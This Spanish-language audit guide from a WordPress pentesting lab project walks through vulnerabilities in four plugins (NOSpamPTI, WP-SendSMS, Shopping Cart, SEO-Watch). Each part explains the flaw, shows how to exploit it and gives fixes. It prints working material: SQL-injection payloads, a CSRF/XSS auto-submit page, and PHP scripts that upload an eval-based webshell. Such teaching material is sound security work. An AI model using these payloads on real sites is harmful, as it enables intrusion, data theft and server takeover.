PROYECTO WORDPRESSA
Me alegra que haya llegado el momento de compartir
es-tas líneas escries-tas por The-Xc3ll, lo conocí en persona en
la RootedCon 2k13 y posteriormente más personalmente
en Navajas Negras. No pude contener mis ganas en
pe-dirle que escribiera algo sobre exploiting en Wordpress
para este proyecto. Jorge Websec
Licenciado en Biología por la Universidad de Salamanca,
especiali-dad de biología fundamental y biotecnología. Desde 2006 ha estado
inves-tigando y realizando auditorias en entornos web como hobbie.
Actual-mente publica en http://blog.0verl0ad.com
Empezó en el entramado mundo de la seguridad informática
investi-gando por su cuenta, de una forma autodidacta. Utilizando para aprender
y compartir los foros y el IRC pudo desarrollar su camino como profesional
en pruebas de intrusión (aparte de leer un montón como todos).
Especiali-zado en auditorias de seguridad web nos trae una guía de como auditar
plugins en wordpress.
Vamos a utilizar la siguiente estructura para la mejor comprensión.
1.
Nombre de plugin y vulnerabilidad.
1.1.
Información sobre el plugin.
1.2.
Breve descripción del código.
2.
Vulnerabilidades
3.
Explotación
4.
Solución
Los plugins de esta edición son:
1.
NOSpamPTI 2.1 Wordpress Plugin …
pag 4
2.
Wordpress WP-SendSMS Plugin 1.0 …
pag 9
3.
WORDPRESS SHOPPING CART 8.1.14 …
pag 16
4.
WORDPRESS SEO-WATCH PLUGIN 1.4 …
pag 22
Todos estos plugins tienen sus respectivas vulnerabilidades y autores que las encontraron. Pueden verlas en www.exploit-db.com o www.1337day.com Nosotros solo vamos a explicar cómo auditarlas.
NOSpamPTI es un plugin de wordpress diseñado a evitar la publicación de comentarios generados automáticamente por bots. Para tal cometido añade una prueba-reto basada en responder una suma de dos números naturales comprendidos entre el 1 y el 4. Posteriormente el plugin comprueba si la respuesta dada coincide con la esperada. De no coincidir el plugin interpreta que el mensaje ha sido generado por un programa automático, no se trata de un humano, y eliminar el mensaje.
El plugin posee un archivo PHP principal llamado nospampti.php que posee únicamente 2 funciones.
*challenge_form():
Es la función encargada de generar la suma y añadirla al formulario original para el envío de comentarios. Junto al input encargado de recoger la respuesta ante el reto, también se añade un input tipo “hidden” que contiene el hash md5 de la respuesta correcta (se resalta en rojo por la importancia que tiene a la hora de hacer un bypass a la protección)
*challenge_check($comment_id):
Es la función encargada de comprobar si la respuesta del reto es la correcta. En ella se hace una comprobación con un “if” entre el hash md5 de la respuesta que envió el usuario y el contenido del campo hidden, de tal forma que si coincide el comentario se publica y si no éste es eliminado de la base de datos inmediatamente.
Este plugin es vulnerable a Time-based SQL injection y, además, la supuesta protección que proporciona es fácilmente evadible por parte de los bots.
-Time-based SQL injection:
normales que ejecuta una aplicación al interactuar con una base de datos. Este código malicioso perturba el normal funcionamiento de la sentencia, permitiendo a un
atacante ejecutar de forma arbitraria lo que desee. Se produce por tomar directamente las variables que toman valores proporcionados por el usuario, sin realizar ningún filtrado.
En el caso concreto de las “Blind SQLi” el atacante no puede ver de forma directa el resultado de su inyección, sino que tiene que proceder a una “boolenización” de las sentencias, observando si en tras inyectar se obtiene un valor True o uno
False. Normalmente esto se observa cuando carga o deja de cargar una parte de la web (si no carga es que la sentencia ha devuelto un valor False; si carga es un True). De esta forma podemos ir poco a poco deduciendo el nombre de tablas, columnas, etc.
Si observamos el código de nospampti.php nos damos cuenta de que no existe ningún tipo de protección, y se realiza una sentencia a la base de datos de forma directa con el valor procedente de la petición POST que se realiza al enviar un comentario:
$count = $wpdb->get_var("select count(*) from $wpdb->comments where comment_post_id = {$post_id} and comment_approved = '1'");
Inicialmente podemos pensar que se trata símplemente de una SQLi normal o a ciegas clásica, pero si observamos el código en conjunto observaremos que su
explotación requiere del uso de técnicas basadas en el timing.
if ($hash != $challenge) {
$wpdb->query("DELETE FROM {$wpdb->comments} WHERE comment_ID = {$comment_id}"); $count = $wpdb->get_var("select count(*) from $wpdb->comments where comment_post_id = {$post_id} and comment_approved = '1'");
$wpdb->query("update $wpdb->posts set comment_count = {$count} where ID = {$post_id}"); wp_die(__('Sorry, wrong answer.'));
} }
Si observamos la última línea, resaltada en rojo, veremos que siempre vamos a obtener el mensaje de “Sorry, wrong answer.” independientemente que la inyección que nosotros le pasemos a la base de datos devuelva un valor True o False. Por lo tanto debemos de recurrir al uso de funciones que metan un retardo de un tamaño
suficientemente sensible si la sentencia devuelve True, de tal forma que podamos discriminar el resultado de la inyección a través del tiempo que tardemos en tener una respuesta.
Por esta razón se denomina a esta vulnerabilidad “Time-based SQL Injection”: porque para su explotación recurrimos a retardos de tiempo
-Bypass de la protección Anti-Spam:
Como bonus además este plugin diseñado para evitar los mensajes de SPAM puede ser bypasseado de múltiples formas, quedando la supuesta protección que ofrece en entredicho. Observando el código se ve más claro:
$nums = array(rand(1,4), rand(1,4)); $n1 = max($nums[0], $nums[1]); $n2 = min($nums[0], $nums[1]); $challenge = ($n1 + $n2);
$hash = md5($challenge);
$question = __("Which the sum of: {$n1} + {$n2}");
$field = sprintf('<p><label for="challenge">%s</label> <input type="hidden" name="challenge_hash" value="%s" /> <input type="text" name="challenge" id="challenge" size="2" /></p>', $question, $hash); echo $field;
En primer lugar podemos ver como el reto se compone de únicamente una suma de dos números naturales comprendidos entre 1 y 4 (1, 2, 3, 4) por lo que la variedad de respuestas plausibles es muy limitada. A parte de esto, el hecho de seguir siempre la misma estructura permite a un spammer generar un bot que busque la cadena “Which the sum of:” y a continuación leer la suma y calcular el resultado directamente (esta debilidad está resaltada en rojo).
Como colofón final nos encontramos con que el propio sistema está mal diseñado puesto que la respuesta al reto que se debe de enviar (el hash md5, señalado de color azul) está implícita en el propio formulario, por lo que un usuario malintencionado únicamente tendría que hacer un bot que buscase el input de nombre
“challenge_hash”, extrajera el md5 y, en un listado previamente creado (las opciones son pocas puesto que es la suma de únicamente del 1 al 4) comprobar a qué número corresponde el hash.
Para la explotación manual de esta vulnerabilidad podemos recurrir a
herramientas que permitan la manipulación del contenido enviado por POST. En este caso vamos a utilizar el add on para Mozilla Firefox conocido como “Live HTTP
Headers”, que permite el sniffing de las cabeceras HTTP y su manipulación.
if ($hash != $challenge) {
$wpdb->query("DELETE FROM {$wpdb->comments} WHERE comment_ID = {$comment_id}"); $count = $wpdb->get_var("select count(*) from $wpdb->comments where comment_post_id = {$post_id} and comment_approved = '1'");
$wpdb->query("update $wpdb->posts set comment_count = {$count} where ID = {$post_id}"); wp_die(__('Sorry, wrong answer.'));
}
}
El operador de comparación “!=” señalado en azul nos indica que la petición a la base de datos se ejecutará cuando $hash sea diferente a $challenge. Por lo tanto para poder inyectar cualquier cosa previamente debemos conseguir esta condición, lo cual es sencillo: únicamente debemos de tomar una petición HTTP que contenga una petición POST legítima y proceder a modificar el campo challenge_hash por cualquier cosa.
Una vez hemos modificado el campo challenge_hash por una cadena aleatoria, a fin de cumplir el !=, procedemos a realizar las inyecciones. Para introducir los retardos de tiempo podemos emplear la función SLEEP():
mensaje: la única forma que tenemos de sacar info es a través de añadir los retardos con sleep.
Una estructura clásica que es utilizada para la explotación es la que aparece en muchas CheatSheets sobre SLQi:
99 OR IF((ASCII(MID(({INJECTON}),1,1)) = 100),SLEEP(14),1) = 0 LIMIT 1--
Utilizando como molde esa sentencia se puede ajustar nuestra inyección. Como se trata de una tarea muy tediosa el ir probando de forma manual se puede recurrir a herramientas como SQLmap o Havij para agilizar el proceso.
Una regla general aplicable a la protección contra SQLi, y a cualquier otra vulnerabilidad con el mismo fundamento, es nunca confiar en los datos que recibimos a través de GET o POST, puesto que aunque a priori parecen imposibles de modificar, no es así. Herramientas como Tamper Data o Live HTTp Headers nos permiten la manipulación de cualquier variable enviada.
Por otra parte, siguiendo esta misma línea de desconfianza, debemos comprobar siempre el tipo de dato que se nos ha facilitado: si esperamos un integer, únicamente queremos integers. En PHP tenemos la función gettype que nos devuelve un string conteniendo el tipo de dato.
También, como siempre, es necesario escapar cualquier carácter que pueda llegar a ser problemático, usando funciones como htmlspecialchars.
WP-SendSMS es un plugin para Wordpress que permite el envío de mensajes cortos a móviles a través del envío de peticiones HTTP a la API del SMS gateway que vayamos a emplear. El plugin permite una laxa moderación del contenido de los sms a través de la configuración de blacklists de palabras censuradas así como la definición de un número máximo de caracteres para enviar en cada sms.
El plugin además implementa ciertas medidas de seguridad, tales como el uso de captchas y la doble confirmación, que actúan como una primera barrera destinada a evitar el abuso directo por parte de bots que podrían emplear el envío de SMS en
campañas masivas de spam o para realizar flooding.
Dentro de este plugin encontramos varios archivos PHP de entre los cuales destacan wp-sendsms.php y sms_admin_settings.php. En WP-SendSMS.php se localizan las funciones clave para el funcionamiento y en sms_admin_settings.php las configuraciones que serán utilizadas.
Grosso modo el plugin trabaja enviando una petición con cURL a la API del SMS gateway. Los parámetros necesarios para el envío del SMS son recogidos por un formulario localizado en sms_form.php.
A continuación veremos ciertos detalles de los dos archivos más importantes que conforman este plugin.
*SMS_Admin_Settings.php
En él podemos observar un formulario donde el administrador podrá configurar el plugin con las opciones mencionadas arriba (uso de captchas, número máximo de caracteres, etc.) así como añadir la url que deberá de ser utilizada para enviar la petición al SMS gateway.
...
<form action="" method="post"> <table class="form-table">
<tbody>
<tr valign="top">
<th scope="row"><label for="wpsms_api1"><strong>API 1:</strong> <br /> Useful Shortcodes: [Mobile], [TextMessage], [SenderID]</label></th>
</tr>
<tr valign="top">
<th scope="row"><label for="sender_id"><strong>Sender ID: </strong></label></th>
<td><input type="text" name="sender_id" id="sender_id" value="<?php echo get_option('sender_id'); ?>" /></td>
</tr> ...
En el form vemos que se realiza una petición POST con el contenido del formulario hacia el propio archivo PHP. Detalle importante a tener en cuenta
posteriormente será el “<?php echo get_option('CUALQUIER COSA'); ?>” que permite mostrar el valor en los inputs ya que va a tener implicaciones en la seguridad del plugin. Las opciones vienen definidas en un array, y sus valores iniciales se establecen en el archivo wp-sendsms.php.
Al enviar el formulario por POST se modificará el contenido de dicho array de tal forma que contendrá los valores (como vemos en el siguiente trozo de código), y estos nuevos valores serán mostrados en cada respectivo input.
if(isset($_POST['settings_submit']) && $_POST['settings_submit']=='true') {
//add_option( $option, $value, $deprecated, $autoload ); $options=$_POST;
if(!isset($options['remove_bad_words'])) $options['remove_bad_words']='0'; if(!isset($options['captcha'])) $options['captcha']='0';
if(!isset($options['confirm_page'])) $options['confirm_page']='0'; if(!isset($options['custom_response'])) $options['custom_response']='0'; if(!isset($options['allow_without_login'])) $options['allow_without_login']='0'; foreach($options as $option=>$value)
{
update_option( $option, $value ); }
*WP-SendSMS.php
Es el archivo donde vienen definidas las funciones del plugin. Las principales son:
-wpsms_activate():
Se encarga de definir los valores por defecto del array que contendrá la
configuración y crea una nueva tabla en la base de datos que recogerá los datos de los SMS enviados (ID, user_id, mobile, message, response, IP, sent_time).
-sanitize_badwords($message):
-get_data($url):
Realiza una petición cURL normal hacia la API del SMS Gateway
-wpsms_send():
Ejecuta get_data() guardando la respuesta del servidor. Además añade una entrada en la tabla de la base de datos que se creó al ejecutarse wpsms_activate().
Este plugin es vulnerable a CSRF y XSS persistente.
-Cross Site Request Forgery (CSRF)
Cross Site Request Forgery es la denominación de un ataque que consiste en forzar a realizar acciones a un usuario autenticado en contra de su voluntad. En este caso concreto se permite forzar al administrador a rellenar el formulario de
configuración del plugin y enviarlo. Esto es debido a que el formulario localizado en wp-admin/admin.php?page=sms es procesado sin hacer ningún tipo de comprobación. Lo ideal sería que al ejecutar una acción que depende de una petición GET o POST se envíe también un “token” generado que sea imposible de averiguar, de tal forma que la petición será procesada únicamente si el token enviado coincide con el esperado.
En el caso concreto de nuestro plugin podemos ver que el formulario de sms_admin_settings.php no envía ningún token, ni hace comprobación alguna; únicamente se limita a comprobar si se ha enviado por POST el parámetro
settings_submit .
if(isset($_POST['settings_submit']) && $_POST['settings_submit']=='true')
Y en caso afirmativo procede a modificar las variables del array que contiene la configuración con los valores enviados.
Si un usuario malintencionado quisiera obligar al administrador a cambiar algún parámetro de la configuración, tan sólo tendría que crear un exploit en HTML que autoenviara el formulario con los valores que el atacante desee, y enviárselo al administrador para que lo visite. Más adelante profundizaremos en el desarrollo del exploit.
-Cross Site Scripting permanente (XSS)
contra el navegador, etc.
En el archivo sms_admin_settings.php nos encontramos que el array que contiene la configuración del plugin no filtra de forma alguna el contenido que el usuario le pasa:
if(isset($_POST['settings_submit']) && $_POST['settings_submit']=='true') {
//add_option( $option, $value, $deprecated, $autoload );
$options=$_POST;
if(!isset($options['remove_bad_words'])) $options['remove_bad_words']='0'; if(!isset($options['captcha'])) $options['captcha']='0';
if(!isset($options['confirm_page'])) $options['confirm_page']='0'; if(!isset($options['custom_response'])) $options['custom_response']='0'; if(!isset($options['allow_without_login'])) $options['allow_without_login']='0'; foreach($options as $option=>$value)
{
update_option( $option, $value );
}
En las líneas coloreadas de rojo podemos observar como la variable $options toma directamente el valor que se le ha enviado desde el formulario, sin modificación alguna, y procede a actualizar el array de configuración con dichos valores. Por lo tanto guarda todo lo que se le envía sin filtrado alguno.
En este mismo archivo, a partir de la línea 23 comienza el formulario que se enviará. En él podemos observar como en varias ocasiones se muestran directamente los valores contenidos en el array:
...
<tr valign="top">
<th scope="row"><label for="maximum_characters"><strong>Maximum Character Allowed: </strong></label></th>
<td><input type="text" name="maximum_characters" class="maximum_characters" id="maximum_characters" value="<?php echo
get_option('maximum_characters'); ?>" /></td> </tr>
...
Al no existir ningún tipo de filtrado en ninguno de los puntos (toma de valores y utilización de estos) un atacante malicioso podría rellenar estas variables con código JavaScript, y al usarse para rellenar el value del input se estaría incluyendo en la web. Por ejemplo, si en el campo “Maximum Character Allowed” nosotros lo
<tr valign="top">
<th scope="row"><label for="maximum_characters"><strong>Maximum Character Allowed: </strong></label></th>
<td><input type="text" name="maximum_characters"
class="maximum_characters" id="maximum_characters" value="”><script>alert(8)</script>" /></td> </tr>
Y se nos ejecutaría el código JavaScript, mostrándonos un alert con un 8. Un atacante malicioso podría, por ejemplo, robar la cookie del administrador.
En total los parámetros vulnerables a XSS persistente son:
1. sender_id
2. maximum_characters 3. captcha_width
4. captch_height 5. captcha_characters
La explotación requiere de la combinación de las dos vulnerabilidades
comentadas arriba. Utilizando como medio el CSRF se puede obligar al administrador a rellenar en el formulario los parámetros vulnerables a XSS persistente, de tal forma que quedaría a merced del atacante. Para ello podemos valernos de un HTML. En este ejemplo de PoC (extraído de http://1337day.com/exploit/20877 ) hemos añadido
comentarios para comprenderlo mejor:
<html> <head>
<script type="text/javascript" language="javascript"> Creamos una función para el autoenvío del formulario function submitform()
{
document.getElementById('myForm').submit(); }
</script> </head> <body>
Creamos el formulario siguiendo la misma estructura que el original
<form name="myForm" action="http://localhost/wordpressa/wp-admin/admin.php?page=sms" method="post">
<textarea name="wpsms_api1" id="wpsms_api1" class="regular-text" cols="100"
rows="5">http://wordpressa/smsapi.php?username=yourusername&password=yourpassword&mobile=[ Mobile]&sms=[TextMessage]&senderid=[SenderID]</textarea>
<input type="text" name="sender_id" id="sender_id" value="eXpl0i13r">
<input type="checkbox" name="remove_bad_words" id="remove_bad_words" checked="checked" value="1">
<input type="text" name="maximum_characters" class="maximum_characters" id="maximum_characters" value=' "><script>alert(/Wordpressa!/)</script>'>
<input type="checkbox" name="captcha" id="captcha" checked="checked" value="1">
<input type="text" name="captcha_width" class="captcha_option_input" value="" id="acpro_inp4"> <input type="text" name="captcha_height" class="captcha_option_input" value="" id="acpro_inp5"> <input type="text" name="captcha_characters" class="captcha_option_input" value="4"
id="acpro_inp6">
<input type="checkbox" name="confirm_page" id="confirm_page" checked="checked" value="1"> <input type="checkbox" name="allow_without_login" id="allow_without_login" checked="checked" value="1">
<input type="checkbox" name="custom_response" id="custom_response" value="1"> <textarea name="custom_response_text" cols="100" rows="5"></textarea>
<input type="hidden" name="settings_submit" value="true">
<input type="submit" value="Update Settings" class="button-primary"> </form>
Ejecutamos el autoenvio
<script type="text/javascript" language="javascript"> document.myForm.submit()
</script> </body> </html>
Con este HTML lo que hacemos es rellenar el formulario con el JavaScript malicioso y autoenviarlo.
Soluciones:
Para solventar las vulnerabilidades de XSS es imprescindible el filtrado de
cualquier variable cuyo valor sea proporcionado por el usuario. Para tal misión podemos utilizar, por ejemplo, la función de PHP htmlspecialchars() que permite escapar aquellos caracteres que puedan ser problemáticos y con los que el atacante podría formar su inyección. Además podemos eliminar las etiquetas HTML usando strip_tags(). Podemos hacer un workaround modificando la línea 8 del archivo sms_admin_settings.php y añadiendo estas funciones, quedando como:
foreach($options as $option=>$value) {
update_option( $option, htmlspecialchars(strip_tags($value)) ); }
En cuanto al CSRF podemos crear una variable con un contenido aleatorio cuyo valor incluimos en un campo “hidden” dentro del formulario para que sea enviado. Antes de actualizar el array con los datos de la configuración comprobamos si el valor enviado por POST de este campo hidden coincide con el deseado, de tal forma que si el atacante no conoce este “token”, nunca podrá hacer que al enviar el formulario éste ejecute cambio alguno. En sms_admin_settings.php colocamos al inicio este código:
if(!isset($_SESSION['token'])){
$tk = md5(uniqid(mt_rand(), true)); $_SESSION['token'] = $tk;
if(isset($_POST['settings_submit']) && $_POST['settings_submit']=='true')
La modificamos para que compruebe el campo hidden que contendrá el token:
if(isset($_POST['tk']) && $_POST['tk']===$_SESSION['token'])
Nótese como en vez de usar “==” utilizamos “===”. Esto tiene como objetivo evitar la conversión de tipos que ejerce == y así evitar que un hash tipo 0exxxxxxxx o 1exxxxxx pase a ser 0 o 1, dificultando así un ataque por fuerza bruta. En este caso poco sentido tendría, pero es una buena práctica a tener en cuenta siempre.
Por ultimo sustituimos el campo hidden del formulario (settings_submit) por nuestro “tk”:
Wordpress Shopping Cart es un plugin que dota al CMS wordpress de una plataforma e-comerce con la que poder montar una tienda on-line. Además de las herramientas propias para la realización de las transacciones, este plugin añade una serie de herramientas administrativas para facilitar la configuración y funcionamiento de la plataforma.
El plugin se compone de numerosos archivos PHP. Los más interesantes desde el punto de vista de la seguridad del producto se encuentran en la ruta
/levelfourstorefront/scripts/administration/ :
-backup.php
-exportaccounts.php -exportsubscribers.php -dbuploaderscript.php
Los 3 archivos primeros archivos operan de una forma muy similar, por lo que nos centraremos en el análisis de backup.php que tomaremos como paradigma, ya que comprendiendo su código podremos fácilmente entender cómo funcionan el resto.
*backup.php
Como su propio nombre indica es el archivo encargado de realizar un backup de la base de datos que tenemos en nuestro Wordpress. Cuando
accedemos a este fichero se nos permite descargar un archivo SQL para poder tener nuestro backup.
La primera parte del PHP se encarga de recoger los datos de conexión a la
base de datos que se encuentran guardados en flashdb.php, y de guardar lo
que se le pase por GET en la variable $requestID.
require_once('../../Connections/flashdb.php');
$requestID = "-1";
if (isset($_GET['reqID'])) {
$requestID = $_GET['reqID'];
}
A continuación guarda en la variable $usersqlquery la petición SQL que hará a la base de datos para comprobar si el usuario que ha realizado el backup está
autorizado, para que únicamente aquellas personas con el rol de admin puedan hacerlo.
$usersqlquery = sprintf("select * from clients WHERE clients.Password = '" . $requestID . "' AND clients.UserLevel = 'admin' ORDER BY Email ASC");
mysql_select_db($database_flashdb, $flashdb);
$userresult = mysql_query($usersqlquery, $flashdb) or die(mysql_error());
$users = mysql_fetch_assoc($userresult);
Grosso modo podemos decir que buscar en la tabla clientes si algún usuario tiene la password que le pasábamos como parámetro GET reqID y además tiene el rol de admin. Si ambas (AND) condiciones se cumplen se guarda el nombre del usuario en la variable $user.
Posteriormente nos encontramos una estructura if-else: si la variable $user contiene algún valor significará que quien ha hecho la petición cumplía las dos condiciones y está autorizado, por lo que se procede a preparar el backup; en caso contrario se muestra un mensaje de error indicando que no se está autorizado:
if ($users) { …
… } else {
echo "Not Authorized...";
}
Dentro del if se hace el backup y se permite su descarga con extensión .sql; el nombre del archivo será Storefront_backup_(FECHA).sql:
header("Content-type: application/octet-stream");
header('Content-Disposition: attachment; filename=Storefront_Backup_'.date('Y_m_d').'.sql');
header("Pragma: no-cache");
header("Expires: 0");
*dbuploaderscript.php
Es un PHP que permite al administrador subir archivos al servidor. La comprobación de si se trata de un usuario con nivel administrador es la misma que se usaba en backup.php y el resto de archivos de exportación de datos de la db, y de hecho, es el mismo que se usa en la mayoría de los archivos PHP que componen este plugin. Por lo tanto todos ellos son vulnerables, como veremos en la siguiente sección.
Retomando la explicación de este archivo en concreto, primero se hace la misma comprobación que vimos antes (pero esta vez reqID es enviado por POST):
$requestID = $_POST['reqID'];
$usersqlquery = sprintf("select * from clients WHERE clients.Password = '" . $requestID . "' AND clients.UserLevel = 'admin' ORDER BY Email ASC");
mysql_select_db($database_flashdb, $flashdb);
$userresult = mysql_query($usersqlquery, $flashdb) or die(mysql_error()); $users = mysql_fetch_assoc($userresult);
Y si hay algún usuario que cumple las dos condiciones, se procede a subir el archivo de forma normal:
if ($users) {
//Flash File Data
$filename = $_FILES['Filedata']['name'];
//delete file if exists.
if (file_exists("../../products/".$filename)) { unlink ("../../products/".$filename); }
// Place file on server, into the products folder
move_uploaded_file($_FILES['Filedata']['tmp_name'], "../../products/".$filename);
}
?>
Retomando la SQLi, ésta se localiza en la sentencia que se utiliza para comprobar si un usuario tiene el nivel de administrador:
$usersqlquery = sprintf("select * from clients WHERE clients.Password = '" . $requestID . "' AND clients.UserLevel = 'admin' ORDER BY Email ASC");
Como ya habíamos explicado en la sección anterior, esta sentencia lo que hace es devolver los usuarios que cumplen dos condiciones al mismo tiempo:
-que su “password” se corresponda con el valor $requestID, que recordemos se trataba de una variable tipo GET llamada reqID.
-que su rol sea el de administrador.
El problema radica en que un atacante puede manipular el contenido de reqID y poder realizar un bypass de la autenticación.
select * from clients WHERE clients.Password = '" . $requestID . "' AND clients.UserLevel = 'admin' ORDER BY Email ASC
Si hacemos una petición a uno de estos archivos que utilizan este método de “seguridad” del tipo ?reqID=1' or 1='1 la sentencia quedaría como:
select * from clients WHERE clients.Password = '1' or 1='1' AND clients.UserLevel = 'admin' ORDER BY Email ASC
Lo que estamos consiguiendo con esta inyección es que la sentencia ahora quede como:
“saca los usuarios cuya password sea 1 o 1 sea igul a 1, y además, tenga el nivel de admin”
Como 1 siempre va a ser igual a 1, la primera condición se cumple, y como además seguro que hay algún usuario que tenga el nivel de administrador, la petición nos los devolverá. Como después hay una estructura if-else que evalúa si la petición devolvió algún usuario, y en nuestro caso lo hará, ya podemos hacer aquella acción que nos estaba vedada.
La descarga de la base de datos se puede realizar directamente pasando la inyección desde el navegador:
http://localhost/wordpressa/wp-content/plugins/levelfourstorefront/scripts/administration/backup.php?reqID=1' or 1='1
Aprovechando esta SQLi podemos proceder a tomar el control ya que nos permite realizar un bypass al archivo dbuploaderscript.php, que como ya vimos
<?php
//?w=http://localhost/wordpressa/
$uploadfile = "emelco.php"; //Editar con tu webshell $where = $_GET['w'];
$force = $where .
"wp-content/plugins/levelfourstorefront/scripts/administration/dbuploaderscript.php"; $ch = curl_init("$force");
curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile", 'reqID'=>"1'or 1='1"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); $postResult = curl_exec( $ch );
curl_close($ch);
header('Location: ' . $where . 'wp-content/plugins/levelfourstorefront/products/' . $uploadfile); ?>
Una regla general aplicable a la protección contra SQLi, y a cualquier otra vulnerabilidad con el mismo fundamento, es nunca confiar en los datos que recibimos a través de GET o POST, puesto que aunque a priori parecen imposibles de modificar, no es así. Herramientas como Tamper Data o Live HTTp Headers nos permiten la manipulación de cualquier variable enviada.
Por otra parte, siguiendo esta misma línea de desconfianza, debemos comprobar siempre el tipo de dato que se nos ha facilitado: si esperamos un integer, únicamente queremos integers. En PHP tenemos la función gettype que nos devuelve un string conteniendo el tipo de dato.
También, como siempre, es necesario escapar cualquier carácter que pueda llegar a ser problemático, usando funciones como htmlspecialchars.
Seo-Watch es un plugin para wordpress que facilita al administrador del blog poder hacer un seguimiento de sus estadísticas en google. Concretamente el plugin permite configurar tres URLs y tres palabras clave, de forma automática harán peticiones a los servidores de Google para descargarse el TOP 100 y extraer la información que atañe a nuestra web.
Los archivos más importantes que aparecen en este plugin son wp-seowatcher.php y ofc_upload_image.php.
*wp-seowatcher.php
Es el fichero clave del plugin. Pasamos a ver las funciones más importantes que posee:
-seowatcher_setup():
Se encarga de generar la base de datos con las palabras que utilizará para hacer las búsquedas de google. Además guarda en el array que maneja las opciones la
palabra, url, y servidor de google al que conectarse por defecto. El usuario después podrá cambiarlas desde el panel de administración.
-seowatcher_update_keyword():
Es la función encargada de hacer la petición a Google, y de actualizar la
información que nos va proporcionando. Para obtener la información el plugin utiliza en esta parte la función wp_remote_request() que nos proporciona el propio wordpress, de tal forma que se realiza una petición HTTP normal.
Una vez que envía la petición, recoge la respuesta y le pasa su propio algoritmo de parseo para extraer los resultados y guardarlos en la base de datos.
*ofc_upload_image.php
tipo de extensión, ni comprueba si quien hace uso del PHP es el administrador. En principio la “subida” en realidad como la realiza es creando un fichero y pasándole como contenido lo que le es enviado vía POST:
$default_path = '../tmp-upload-images/';
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );
echo 'Saving your image to: '. $destination; // print_r( $_POST );
// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;
//
// POST data is usually string data, but we are passing a RAW .png // so PHP is a bit confused and $_POST is empty. But it has saved // the raw bits into $HTTP_RAW_POST_DATA
//
$jfh = fopen($destination, 'w') or die("can't open file"); fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);
Este plugin es vulnerable a Arbitrary File Upload, lo que permite a un atacante poder subir una webshell y ejecutar comandos en el servidor. No existe un parámetro en concreto que sea vulnerable, si no que todo el PHP está diseñado para subir
cualquier tipo de fichero.
El archivo queda guardado en /wp-content/plugins/seo-watcher/ofc/tmp-upload-images/ con el mismo nombre que se le ha pasado como parámetro GET a ofc_upload_image.php (parámetro name)
<?php echo<<<EOT
---/ seo-watcher ~ Exploit \
\ Author: wantexz /
################################################################################################ # author: wantexz
#
EOT;
$options= getopt('u:f:');
if(!isset($options['u'], $options['f']))
die("\n Usage example: php IDC.php -u http://target.com/ -f shell.php\n -u http://target.com/ The full path to Joomla!
-f shell.php The name of the file to create.\n");
$url = $options['u'];
$file = $options['f'];
$shell= "{$url}/wp-content/plugins/seo-watcher/ofc/tmp-upload-images/{$file}"; $url =
"{$url}/wp-content/plugins/seo-watcher/ofc/php-ofc-library/ofc_upload_image.php?name={$file}";
$data = "<?php eval(\$_GET['cmd']); ?>";
$headers= array('User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1',
'Content-Type: text/plain');
echo" [+] Submitting request to: {$options['u']}\n"; $handle= curl_init();
curl_setopt($handle, CURLOPT_URL, $url);
curl_setopt($handle, CURLOPT_HTTPHEADER, $headers); curl_setopt($handle, CURLOPT_POSTFIELDS, $data); curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);
$source= curl_exec($handle); curl_close($handle);
if(!strpos($source, 'Undefined variable: HTTP_RAW_POST_DATA') && @fopen($shell, 'r')) {
echo" [+] Exploit completed successfully!\n"; echo
" ______________________________________________\n\n {$shell}?cmd=system('id');\n"; }
else {
die(" [+] Exploit was unsuccessful.\n"); }
Al tratarse de un sistema de subidas para imágenes deberemos de cerciorarnos que el archivo que se va a subir es realmente una imagen. Para ello podemos
implementar al mismo tiempo distintas comprobaciones, con el objetivo de dificultar a un potencial atacante el bypassear alguna de estas. Los ideal sería generar una
whitelist de extensiones permitidas (gif, jpeg, png...) y denegar cualquier archivo que no se ajuste a nuestro modelo. Para comprobar si se trata de una imagen real podemos implementar todas estas medidas al mismo tiempo:
-Utilizar la función pathinfo() -Comprobar el Content-type -Utilizar la función getimagesize()
Además, pese a ver hecho las comprobaciones, para frenar un posible bypass deberemos de renombrar el archivo que hemos subido y ponerle un nombre aleatorio y la extensión que supuestamente tenía originalmente, de tal forma que si
supuestamente un usuario está intentando subir un archivo “jpeg”, por ejemplo, el archivo final sea nombrealeatorio.JPEG También deberemos de asignarles unos permisos adecuados como última precaución.
Si únicamente queremos que tengan acceso al sistema de subida de archivos usuarios con un determinado rol en nuestra plataforma (administradores, por ejemplo) podríamos usar un sistema de sesiones.
Wordpressa es un proyecto creado por la empresa Sevillana QuantiKa14. En un
principio consistía en crear un laboratorio de Wordpress que facilitará las prácticas de técnicas de hacking y pentesting sobre este gestor de contenidos. Al cabo del tiempo, al ver la gran demanda de auditorías de seguridad, quantika14 decide crear un equipo especial dedicado al 100% en él. Este realizara documentos, investigaciones de seguridad en plugins, plantillas y en el propio núcleo de Wordpress, aparte de las pruebas de intrusión y fortificación.
Wordpressa es un proyecto ambicioso y especial. Qk14 es la única empresa a nivel nacional que tenga un departamento especializado en este gestor de contenidos.